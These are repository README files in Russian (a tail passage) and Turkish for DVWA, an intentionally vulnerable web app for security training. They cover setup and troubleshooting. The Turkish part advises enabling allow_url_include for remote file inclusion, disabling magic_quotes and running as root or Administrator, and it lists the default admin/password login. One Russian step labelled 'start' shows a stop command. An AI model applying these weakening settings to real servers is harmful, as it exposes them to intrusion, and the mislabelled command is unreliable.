[Видео-справка](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=630)\n\n```mariadb\nSQL: Доступ к базе данных 'notdvwa' для пользователя 'dvwa'@'localhost' запрещен\n```\n\nЭто означает, что вы используете пользователя `dvwa` и пытаетесь подключиться к базе данных `notdvwa`.\n\nПервое, что нужно сделать, — это дважды проверить, что то, что вы, по вашему мнению, ввели в файл конфигурации, действительно там есть.\n\nЕсли все соответствует вашим ожиданиям, следующим шагом будет проверка возможности входа в систему с помощью этого пользователя в командной строке. Предполагая, что у вас есть пользователь базы данных `dvwa` и пароль `p@ssw0rd`, выполните следующую команду:\n\n```sh\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n_Примечание: после -p_ нет пробела\n\nЕсли вы видите следующее, пароль правильный:\n\n```mariadb\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab и другие.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\nПоскольку вы можете подключиться через командную строку, вероятно, в конфигурационном файле есть ошибка. Проверьте его еще раз и, если проблема не устранена, сообщите о ней.\n\nЕсли вы видите следующее, значит, вы используете неверное имя пользователя или пароль. Повторите шаги [Настройка базы данных](#database-setup) и убедитесь, что вы используете одно и то же имя пользователя и пароль на протяжении всего процесса.\n\n```mariadb\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\nЕсли вы видите следующее сообщение, значит учетные данные пользователя верны, но у пользователя нет доступа к базе данных. Повторите шаги настройки и проверьте имя базы данных, которое вы используете.\n\n```mariadb\nОШИБКА 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\nПоследней ошибкой, которую вы можете получить, является следующая:\n\n```mariadb\nОШИБКА 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nЭто не проблема аутентификации, а сообщение о том, что сервер базы данных не работает. Запустите его с помощью следующей команды\n\n```sh\nsudo service mysql start\n```\n\n### Соединение отказано\n\n[Видео-справка](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=444)\n\nОшибка, похожая на эту:\n\n```mariadb\nFatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535\n```\n\nОзначает, что ваш сервер базы данных не работает или в файле конфигурации указан неверный IP-адрес.\n\nПроверьте эту строку в файле конфигурации, чтобы увидеть, где должен находиться сервер базы данных:\n\n```php\n$_DVWA[ 'db_server' ]   = '127.0.0.1';\n```\n\nЗатем перейдите на этот сервер и проверьте, работает ли он. В Linux это можно сделать с помощью:\n\n```sh\nsystemctl status mariadb.service\n```\n\nВы должны увидеть что-то подобное, главное, чтобы было указано «active (running)» (активен (работает)).\n\n```sh\n● mariadb.service - MariaDB 10.5.19 database server\n     Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled)\n     Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago\n```\n\nЕсли он не запущен, вы можете запустить его с помощью:\n\n```sh\nsudo systemctl stop mariadb.service \n```\n\nОбратите внимание на `sudo` и убедитесь, что вы ввели свой пароль пользователя Linux, если он запрашивается.\n\nВ Windows проверьте статус в консоли XAMPP.\n\n### Неизвестный метод аутентификации\n\nВ последних версиях MySQL, PHP больше не может взаимодействовать с базой данных в своей конфигурации по умолчанию. Если при попытке запустить скрипт настройки вы получаете следующее сообщение, это означает, что у вас есть конфигурация.\n\n```mariadb\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nУ вас есть два варианта, самый простой из которых — удалить MySQL и установить MariaDB. Ниже приведено официальное руководство от проекта MariaDB:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nВ качестве альтернативы выполните следующие действия:\n\n1. Как root отредактируйте следующий файл: `/etc/mysql/mysql.conf.d/mysqld.cnf`\n1. Под строкой `[mysqld]` добавьте следующее:\n  `default-authentication-plugin=mysql_native_password`\n1. Перезапустите базу данных: `sudo service mysql restart`\n1. Проверьте метод аутентификации для пользователя базы данных:\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\n1. Скорее всего, вы увидите `caching_sha2_password`. Если это так, выполните следующую команду:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n\n1. Повторно запустив проверку, вы должны увидеть `mysql_native_password`.\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\nПосле всего этого процесс настройки должен работать в обычном режиме.\n\nЕсли вам нужна дополнительная информация, см. следующую страницу: <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### Ошибка базы данных #2002: Такого файла или каталога нет\n\nСервер базы данных не работает. В дистрибутиве на основе Debian это можно сделать с помощью:\n\n```sh\nsudo service mysql start\n```\n\n### Ошибки «MySQL server has gone away» и «Packets out of order»\n\nЕсть несколько причин, по которым могут возникать эти ошибки, но наиболее вероятная из них — версия сервера базы данных, которую вы используете, несовместима с версией PHP.\n\nЧаще всего это происходит, когда вы используете последнюю версию MySQL в качестве PHP, и они не совместимы. Лучший совет — отказаться от MySQL и установить MariaDB, так как мы не можем обеспечить поддержку данной версии.\n\nДля получения дополнительной информации см.:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### Почему база данных не может подключиться к CentOS?\n\nВозможно, у вас возникли проблемы с SELinux.  Отключите SELinux или выполните эту команду, чтобы веб-сервер мог обмениваться данными с базой данных:\n\n```sh\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### MariaDB Docker не запускается\n\nЕсли при попытке запустить MariaDB в журналах Docker появляется следующая ошибка, вероятно, это связано с недостатком памяти на хост-машине. Если вы используете эту программу в хостинговой среде, лучшим решением будет увеличить размер машины, чтобы получить больше памяти, и повторить попытку.\n\n```\n[Note] [Entrypoint]: Entrypoint script for MariaDB Server 1:10.11.15+maria~ubu2204 started.\n[Warn] [Entrypoint]: /sys/fs/cgroup///memory.pressure not writable, functionality unavailable to MariaDB\n```\n\nВозможно, вам также потребуется добавить следующую строку в раздел volumes вашего файла `compose.yml`:\n\n```\n- /sys/fs/cgroup/memory.pressure:/sys/fs/cgroup/memory.pressure\n```\n\nВ результате раздел volumes файла конфигурации по умолчанию будет изменен следующим образом:\n\n```\n     volumes:\n       - dvwa:/var/lib/mysql\n       - /sys/fs/cgroup/memory.pressure:/sys/fs/cgroup/memory.pressure\n```\n\nДля получения дополнительной информации о том, почему это работает, см. [эту проблему](https://github.com/MariaDB/mariadb-docker/issues/626).\n\n### Что-нибудь еще\n\nДля получения последней информации по устранению неполадок прочитайте открытые и закрытые заявки в репозитории git:\n\n<https://github.com/digininja/DVWA/issues>\n\nПеред отправкой заявки убедитесь, что вы используете последнюю версию кода из репозитория. Это не последняя версия, а последний код из основной ветки.\n\nПри создании заявки, пожалуйста, предоставьте как минимум следующую информацию:\n\n- Операционная система\n- Последние 5 строк из журнала ошибок веб-сервера, непосредственно следующие за ошибкой, о которой вы сообщаете\n- Если это проблема с аутентификацией базы данных, выполните описанные выше шаги и сделайте скриншоты каждого шага. Отправьте их вместе со скриншотом раздела конфигурационного файла, в котором указаны имя пользователя и пароль базы данных.\n- Полное описание того, что не работает, что вы ожидаете, и что вы пытались сделать, чтобы исправить это. «Не работает вход» — это недостаточно, чтобы мы могли понять вашу проблему и помочь ее исправить.\n\n- - -\n\n## Учебные материалы\n\nЯ постараюсь собрать несколько обучающих видео, в которых будут рассмотрены некоторые уязвимости, показано, как их обнаружить, а затем как их использовать. Вот те, которые я сделал до сих пор:\n\n[Обнаружение и использование отраженного XSS](https://youtu.be/V4MATqtdxss)\n\n- -\n\n## SQL-инъекции в SQLite3\n\n_Поддержка этой функции ограничена, прежде чем поднимать вопросы, убедитесь, что вы готовы работать над отладкой, а не просто заявлять, что «это не работает»._\n\nПо умолчанию SQLi и Blind SQLi выполняются на сервере MariaDB/MySQL, используемом сайтом, но можно переключиться на тестирование SQLi на SQLite3.\n\nЯ не буду рассказывать, как заставить SQLite3 работать с PHP, но это должно быть просто: нужно установить пакет `php-sqlite3` и убедиться, что он включен.\n\nЧтобы выполнить переключение, просто отредактируйте файл конфигурации и добавьте или отредактируйте следующие строки:\n\n```php\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nПо умолчанию используется файл `database/sqli.db`. Если вы что-то испортили, просто скопируйте файл `database/sqli.db.dist` поверх него.\n\nЗадачи точно такие же, как и для MariaDB, только выполняются в SQLite3.\n\n- - -\n\n👨‍💻 Участники\n-----\n\nСпасибо за все ваши вклады и за то, что поддерживаете этот проект в актуальном состоянии. :heart:\n\nЕсли у вас есть идеи, предложения по улучшению или вы просто хотите сотрудничать, приглашаем вас принять участие в проекте, не стесняйтесь присылать свои PR.\n\n<p align=\"center\">\n<a href=\"https://github.com/digininja/DVWA/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=digininja/DVWA&max=500\">\n</a>\n</p>\n\n- - -\n\n## Сообщение об уязвимостях\n\nПроще говоря, пожалуйста, не делайте этого!\n\nПримерно раз в год кто-нибудь отправляет отчет об уязвимости, которую он обнаружил в приложении. Некоторые отчеты написаны хорошо, иногда даже лучше, чем те, что я видел в платных отчетах о тестировании на проникновение, а некоторые просто гласят: «У вас отсутствуют заголовки, заплатите мне».\n\nВ 2023 году это вышло на совершенно новый уровень, когда кто-то решил запросить CVE для одной из уязвимостей, и ему был присвоен номер [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848). Это вызвало много веселья, и было потрачено много времени на исправление этой ситуации.\n\nПриложение имеет уязвимости, и это сделано намеренно. Большинство из них хорошо задокументированы, и вы можете проработать их в качестве уроков, другие же являются «скрытыми» и их нужно найти самостоятельно. Если вы действительно хотите продемонстрировать свои навыки в поиске скрытых бонусов, напишите пост в блоге или создайте видео, так как, вероятно, найдутся люди, которые будут заинтересованы в том, чтобы узнать о них и о том, как вы их нашли. Если вы пришлете нам ссылку, мы даже можем включить ее в список ссылок.\n\n## Ссылки\n\nГлавная страница проекта: <https://github.com/digininja/DVWA>\n\n_Создано командой DVWA_\n"
  },
  {
    "path": "README.tr.md",
    "content": "# DAMN VULNERABLE WEB APPLICATION\n\nDamn Vulnerable Web Application (DVWA), son derece zafiyetli bir PHP/MySQL web uygulamasıdır. Temel amacı; güvenlik uzmanlarına, yeteneklerini ve araçlarını test etmeleri konusunda yasal bir ortam sunmak, web geliştiricilerinin web uygulamalarının güvenliğini sağlama süreçlerini daha iyi anlamalarına yardımcı olmak, öğrencilere ve eğitmenlere web uygulamalarının güvenliğini öğrenme/öğretme konusunda kontrollü bir sınıf ortamı sunmaktır.\n\nDVWA, **en yaygın web zafiyetlerinden bazılarının** basit bir arayüz üzerinden **farklı zorluk seviyelerinde denenmesini** hedefler. Bu uygulamada, **dokümante edilmiş ve edilmemiş** zafiyetler olduğunu hatırlatmakta fayda var. Mümkün mertebe fazla problemi deneyin ve keşfedin!\n- - -\n\n## UYARI!\n\nDamn Vulnerable Web Application epey zafiyetlidir! **Internet üzerinden erişilebilen bir sunucuya veya barındırma hizmeti sağlayıcınızın public_html dizinine yüklemeyin.** Bu durum, sunucunuzu tehlikeye atar. [VirtualBox](https://www.virtualbox.org/) veya [VMware](https://www.vmware.com/) gibi bir ortamda, sanal makinede, NAT ağı modunda kullanmanız önerilir. Sanal makine içinde web sunucusu ve veri tabanı için [XAMPP](https://www.apachefriends.org/) indirip kurabilirsiniz.\n\n### Sorumluluk Reddi\n\nHerhangi bir kişinin bu uygulamayı (DVWA) nasıl kullandığı konusunda sorumluluk kabul etmiyoruz. Uygulamanın amaçlarını açıkça ifade ettik, bu uygulama kötü amaçlarla kullanılmamalıdır. Kullanıcıların, DVWA'yı canlı ortamdaki web sunucularına yüklemelerine engel olmak için uyarılarda bulunduk ve önlemler aldık. Web sunucunuz, bir DVWA kurulumu nedeniyle tehlikeye düştüyse, bu bizim sorumluluğumuz değildir. Uygulamayı yükleyen ve kuran kişi ya da kişilerin sorumluluğudur.\n\n- - -\n\n## Lisans\n\nBu dosya, Damn Vulnerable Web Application'ın (DVWA) bir parçasıdır.\n\nDamn Vulnerable Web Application (DVWA) bir özgür yazılımdır. Yazılımı; Özgür Yazılım Vakfı\ntarafından yayınlanan GNU Genel Kamu Lisansı'nın 3. versiyonu ya da tercihinize göre daha yeni\nbir versiyonunda yer alan koşullar altında yeniden dağıtabilir ve/veya değiştirebilirsiniz.\n\nDamn Vulnerable Web Application (DVWA), faydalı olması umuduyla, ancak HERHANGİ BİR GARANTİ OLMADAN,\nSATILABİLİRLİK veya BELİRLİ BİR AMACA UYGUNLUK garantisi bile ima edilmeden dağıtılmıştır.\nDetaylı bilgi için GNU Genel Kamu Lisansı'nı inceleyiniz.\n\nDamn Vulnerable Web Application (DVWA) ile birlikte, GNU Genel Kamu Lisansı'nın da bir kopyasını\nedinmiş olmalısınız. Durum böyle değilse, <https://www.gnu.org/licenses/> sayfasını inceleyiniz.\n\n- - -\n\n## Uluslararasılaştırma\n\nBu dosya, birden fazla dilde mevcuttur:\n\n- Çince: [简体中文](README.zh.md)\n- İngilizce: [English](README.md)\n\nÇeviri katkısında bulunmak istiyorsanız lütfen PR açın. Ancak dikkat edin; bu, dosyayı Google Translate'ten geçirip göndermeniz anlamına gelmemektedir. Bu tür talepler reddedilecektir.\n\n- - -\n\n## İndirme\n\nHer ne kadar DVWA'nın farklı sürümleri de olsa, desteklenen tek sürüm, resmi GitHub repository'sindeki son kaynak kodudur. Dilerseniz, repo'dan klonlayabilir:\n\n```\ngit clone https://github.com/digininja/DVWA.git\n```\n\nya da [ZIP olarak indirebilirsiniz](https://github.com/digininja/DVWA/archive/master.zip).\n\n- - -\n\n## Kurulum\n\n**Lütfen config/config.inc.php dosyasınızın var olduğundan emin olun. Yalnızca config.inc.php.dist dosyasına sahip olmak yeterli olmayacaktır. Bu dosyayı, ortamınıza uygun şekilde düzenlemeniz ve config.inc.php şeklinde yeniden adlandırmanız gerekecektir. [Windows, dosya uzantılarını gizleyebilir.](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)**\n\n### Kurulum Videoları\n\n- [Damn Vulnerable Web Application'ın (DVWA) Windows 10'da kurulumu](https://www.youtube.com/watch?v=cak2lQvBRAo) [12:39 dakika]\n\n### Windows + XAMPP\n\nEğer bir web sunucusu kurulumunuz yoksa, DVWA'yı kurmanın en kolay yolu [XAMPP](https://www.apachefriends.org/) indirip kurmaktır.\n\nXAMPP; Linux, Solaris, Windows ve Mac OS X için kurulumu oldukça kolay bir Apache ürünüdür. Paketin içeriğinde Apache web sunucusu, MySQL, PHP, Perl, bir FTP sunucusu ve phpMyAdmin yer almaktadır.\n\nXAMPP'ı şu bağlantıdan indirebilirsiniz:\n<https://www.apachefriends.org/>\n\ndvwa.zip dosyasını arşivden çıkarın. Çıkarılan dosyaları public html dizininize taşıyın. Sonra tarayıcınızdan `http://127.0.0.1/dvwa/setup.php` adresine gidin.\n\n### Linux Paketleri\n\nDebian tabanlı bir Linux dağıtımı kullanıyorsanız, aşağıdaki paketleri _(ya da eşleniklerini)_ kurmanız gerekmektedir:\n\n`apt-get -y install apache2 mariadb-server php php-mysqli php-gd libapache2-mod-php`\n\nSite, MariaDB yerine MySQL ile çalışacak. Ancak kullanıma hazır geldiği için MariaDB'yi şiddetle tavsiye ediyoruz. MySQL'in doğru çalışması için ise bazı değişiklikler yapmanız gerekiyor.\n\n### Veri Tabanının Hazırlanması\n\nVeri tabanını ayağa kaldırmak için, önce ana menüdeki `Setup DVWA` butonuna, sonra da `Create / Reset Database` butonuna tıklayın. Bu işlem sizin için, içinde bir miktar veri ile birlikte veri tabanını oluşturacak ya da veri tabanınızı sıfırlayacaktır.\n\nEğer veri tabanını oluşturma sırasında bir hata ile karşılaşırsanız, `./config/config.inc.php` dosyasındaki veri tabanı giriş bilgilerinin doğru olduğundan emin olun. *Bu, sadece bir örnek dosya olan config.inc.php.dist dosyasından farklıdır.*\n\nDeğişkenler, varsayılan olarak aşağıdaki gibi ayarlanmıştır:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\nNot: Eğer MySQL yerine MariaDB kullanıyorsanız (MariaDB, Kali'nin varsayılanıdır) veri tabanının root kullanıcısını kullanamazsınız. Yeni bir veri tabanı kullanıcısı oluşturmalısınız. Bunu yapmak için, veri tabanına root olarak bağlanın ve aşağıdaki komutları çalıştırın:\n\n```mysql\nmysql> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### Diğer Yapılandırmalar\n\nİşletim sisteminize ve PHP sürümünüze bağlı olarak, varsayılan yapılandırmayı değiştirmek isteyebilirsiniz. Dosyaların konumu, cihazdan cihaza farklılık gösterecektir.\n\n**Dizin İzinleri**:\n\n* `./hackable/uploads/` - Web servisi tarafından yazılabilir olmalıdır (dosya yüklemeleri için).\n* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - Web servisi tarafından yazılabilir olmalıdır (PHPIDS kullanmak istiyorsanız).\n\n**PHP yapılandırması**:\n\n* `allow_url_include = on` - Remote File Inclusions'a (RFI) izin verir [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n* `allow_url_fopen = on` - Remote File Inclusions'a (RFI) izin verir [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n* `safe_mode = off` - (PHP <= v5.4 için) SQL Injection'a (SQLi) izin verir [[safe_mode](https://secure.php.net/manual/en/features.safe-mode.php)]\n* `magic_quotes_gpc = off` - (PHP <= v5.4 için) SQL Injection'a (SQLi) izin verir [[magic_quotes_gpc](https://secure.php.net/manual/en/security.magicquotes.php)]\n* `display_errors = off` - (İsteğe bağlı) PHP uyarı mesajlarını gizler [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n\n**Dosya: `config/config.inc.php`**:\n\n* `$_DVWA[ 'recaptcha_public_key' ]` & `$_DVWA[ 'recaptcha_private_key' ]` - Bu değerler şuradan oluşturulmalı: https://www.google.com/recaptcha/admin/create\n\n### Varsayılan Giriş Bilgileri\n\n**Varsayılan kullanıcı adı = `admin`**\n\n**Varsayılan parola = `password`**\n\n_...kolaylıkla brute force edilebilir ;)_\n\nGiriş URL'i: http://127.0.0.1/login.php\n\n_Not: DVWA'yı farklı bir dizine kurduysanız, URL değişecektir._\n\n- - -\n\n## Docker Container\n\n- [dockerhub sayfası](https://hub.docker.com/r/vulnerables/web-dvwa/)\n\n`docker run --rm -it -p 80:80 vulnerables/web-dvwa`\n\nLütfen, önceki MySQL sorunları nedeniyle aufs kullandığınızdan emin olun. Depolama sürücünüzü kontrol etmek için `docker info` çalıştırın. aufs değilse, lütfen değiştirin. Her işletim sistemi için bunu nasıl yapacağınıza dair dokümanlar mevcut. Ancak farklılık gösterdikleri için bu konuya değinmeyeceğiz.\n\n- - -\n\n## Sorun Giderme\n\nBu öneriler; Debian, Ubuntu ve Kali gibi Debian tabanlı bir dağıtım kullandığınızı varsayar. Diğer dağıtımlar için yine bu adımları takip edin ancak gerekli yerlerde komutları değiştirin.\n\n### Site 404 hatası veriyor\nBu sorunu yaşıyorsanız, dosya konumlarını anlamalısınız. Varsayılan olarak Apache'nin belge kökü (web içeriğini aramaya başladığı konum) `/var/www/html` dizinidir. Bu dizine `hello.txt` dosyası eklerseniz, erişmek için `http://localhost/hello.txt` adresine gitmelisiniz.\n\nEğer bir dizin oluşturup bu dosyayı o dizin içine eklediyseniz - `/var/www/html/mydir/hello.txt` - o hâlde `http://localhost/mydir/hello.txt` adresine gitmelisiniz.\n\nLinux varsayılan olarak büyük-küçük harfe duyarlıdır. Yani yukarıdaki örneğe bakarak, aşağıdakilerden birine gitmeyi denediyseniz, `404 Not Found` alırsınız:\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\nBu DVWA'yı nasıl etkiler? Birçok kişi, DVWA'yı `/var/www/html` dizinine git ile klonlar. Bu da içinde tüm DVWA dosyaları ile birlikte `/var/www/html/DVWA/` dizinini oluşturur. Sonrasında `http://localhost/` adresine gittiklerinde `404` ya da varsayılan Apache hoş geldin sayfasını görürler. Dosyalar DVWA dizini içinde olduğu için, `http://localhost/DVWA` adresine gitmeniz gerekir.\n\nBaşka bir sık karşılaşılan hata da, `http://localhost/dvwa` adresini ziyaret edip `404` almaktır. Çünkü Linux için `dvwa` ile `DVWA` farklı şeylerdir.\n\nKurulum sonrasında siteyi ziyaret etmeyi denediğinizde `404` alıyorsanız, dosyaları nereye koyduğunuzu düşünün. Belge köküne göre tam olarak nerede kaldıklarına ve büyük-küçük harf kullanımına dikkat edin.\n\n### Setup'ı çalıştırırken \"Access denied\"\n\nKurulum betiğini çalıştırdığınızda aşağıdaki hatayı alıyorsanız, veri tabanındaki kullanıcı adı ve parola ile yapılandırma dosyanızdakiler uyuşmuyor demektir:\n\n```\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\nHataya göre, `notdvwa` kullanıcısını kullanıyorsunuz.\n\nAşağıdaki hata, yapılandırma dosyanızda yanlış veri tabanını yazdığınızı gösterir.\n\n```\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\n`dvwa` kullancısı ile `notdvwa` veri tabanına bağlanmaya çalıştığınızı belirtiyor.\n\nYapılacak ilk şey, veri tabanınızın ismi ile yapılandırma dosyanızda belirttiğiniz ismi karşılaştırmaktır.\n\nEğer eşleşiyorsa, komut satırından giriş yapıp yapamadığınıza bakın. Veri tabanı kullanıcınızın `dvwa` ve parolasının `p@ssw0rd` olduğunu varsayarsak, aşağıdaki komutu çalıştırın:\n\n```\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n*Not: -p'den sonra boşluk yok*\n\nAşağıdakine benzer bir çıktı görüyorsanız, parola doğrudur:\n\n```\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\nKomut satırından bağlanabildiğinize göre, yüksek ihtimalle yapılandırma dosyanızda bir şeyler yanlış. Tekrar kontrol edin. İşin içinden çıkamazsanız bir issue açın.\n\nAşağıdaki çıktıyı alıyorsanız, kullanıcı adınız ve/veya parolanız hatalıdır. [Veri Tabanının Hazırlanması](#veri-tabanının-hazırlanması) bölümündeki adımları tekrar edin ve süreç boyunca aynı kullanıcı adı ve parolayı kullandığınızdan emin olun.\n\n```\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\nAşağıdaki çıktıyı alıyorsanız, kullanıcı giriş bilgileri doğrudur ancak kullanıcının veri tabanına erişimi yoktur. Veri tabanı yapılandırma adımlarının tekrar edin ve kullandığınız veri tabanının ismini kontrol edin.\n\n```\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\nYaşayabileceğiniz son hata ise şu:\n\n```\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nBu bir kimlik doğrulama sorunu değil. Size, veri tabanı sunucunuzun çalışmadığını gösteriyor. Aşağıdaki komut ile çalıştırın\n\n```sh\nsudo service mysql start\n```\n\n### Unknown authentication method (Bilinmeyen kimlik doğrulama metodu)\n\nMySQL'in yeni sürümlerinde, PHP varsayılan yapılandırmasıyla veri tabanı ile artık konuşamamaktadır. Kurulum betiğini çalıştırdığınızda aşağıdaki mesajı alıyorsanız, yapılandırmanız var demektir.\n\n```\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nİki seçeneğiniz var. En kolayı, MySQL'i kaldırmak ve MariaDB kurmak. Aşağıda, MariaDB projesinin resmi rehberi yer almakta:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nAlternatif olarak şu adımları takip edin:\n\n1. root kullanıcısıyla şu dosyayı düzenleyin: `/etc/mysql/mysql.conf.d/mysqld.cnf`\n\n2. `[mysqld]` satırının altına aşağıdakini ekleyin:\n\n  `default-authentication-plugin=mysql_native_password`\n\n3. Veri tabanını yeniden başlatın: `sudo service mysql restart`\n4. Veri tabanı kullanıcınız için kimlik doğrulama yöntemini kontrol edin:\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\n1. Muhtemelen `caching_sha2_password` ifadesini göreceksiniz. Durum böyleyse, aşağıdaki komutu çalıştırın:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n\n1. Tekrar kontrol ettiğinizda, `mysql_native_password` görmelisiniz.\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\n\nBu adımlardan sonra, kurulum işlemi normal şekilde devam etmelidir.\n\nDaha fazla bilgi için şu sayfayı ziyaret edin: <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### Database Error #2002: No such file or directory.\n\nVeri tabanı sunucusu çalışmıyor. Debian tabanlı bir dağıtımda şunu yapabilirsiniz:\n\n```sh\nsudo service mysql start\n```\n\n### \"MySQL server has gone away\" ve \"Packets out of order\" hataları\n\nBu hataları almanız için birkaç sebep vardır. Ancak yüksek ihtimalle veri tabanı sunucunuzun sürümü, PHP sürümünüzle uyumlu değildir.\n\nBu en çok, MySQL'in en son sürümünü kullandığınızda - PHP ile iyi anlaşamadıkları için - karşınıza çıkar. Tavsiyemiz, MySQL'den kurtulun ve MariaDB kurun çünkü bu bizim destekleyebileceğimiz bir konu değil.\n\nDaha fazla bilgi için şu adresi ziyaret edin:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### PHP v5.2.6 sürümünde SQL Injection çalışmıyor.\n\nPHP 5.x Ocak 2019'da yaşam döngüsünü tamamladığı için (end-of-life) DVWA'yı şu anki 7.x sürümüyle çalıştırmanızı öneriyoruz.\n\nPHP v5.2.6 ya da daha yukarısını kullanıyorsanız, SQL injection ve diğer zafiyetlerin çalışması için aşağıdaki adımları tamamlamanız gerekiyor.\n\n`.htaccess` içinde:\n\nBunu:\n\n```php\n<IfModule mod_php5.c>\n    php_flag magic_quotes_gpc off\n    #php_flag allow_url_fopen on\n    #php_flag allow_url_include on\n</IfModule>\n```\n\nŞununla değiştirin:\n\n```php\n<IfModule mod_php5.c>\n    magic_quotes_gpc = Off\n    allow_url_fopen = On\n    allow_url_include = On\n</IfModule>\n```\n\n### Command Injection çalışmıyor\n\nApache, web sunucusunda komutları çalıştırmak için yeterli yetkilere sahip olmayabilir. DVWA'yı Linux'ta çalıştırıyorsanız root olarak oturum açtığınızdan emin olun. Windows'ta ise Administrator olarak oturum açın.\n\n### CentOS'ta veri tabanı neden bağlanamıyor?\n\nSELinux ile problem yaşıyor olabilirsiniz. Ya SELinux'u kapatın ya da web sunucusunun veri tabanı ile konuşabilmesi için şu komutu kullanın:\n\n```\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### Kalan her şey\n\nEn son sorun giderme kılavuzu için lütfen git repo'sundaki açık ve kapalı taleplerin tamamını okuyun:\n\n<https://github.com/digininja/DVWA/issues>\n\nBir talep göndermeden önce, repo'daki son kod sürümünü kullandığınızdan emin olun. Son \"release\" sürümünü değil, master dalındaki son kodları kastediyoruz.\n\nEğer bir talep açacaksanız, en azından aşağıdaki bilgileri iletin:\n\n- İşletim sistemi\n- Raporladığınız hatalar gerçekleştiği anda web sunucunuzun hata log'larına düşen son 5 satır\n- Eğer bir veri tabanı kimlik 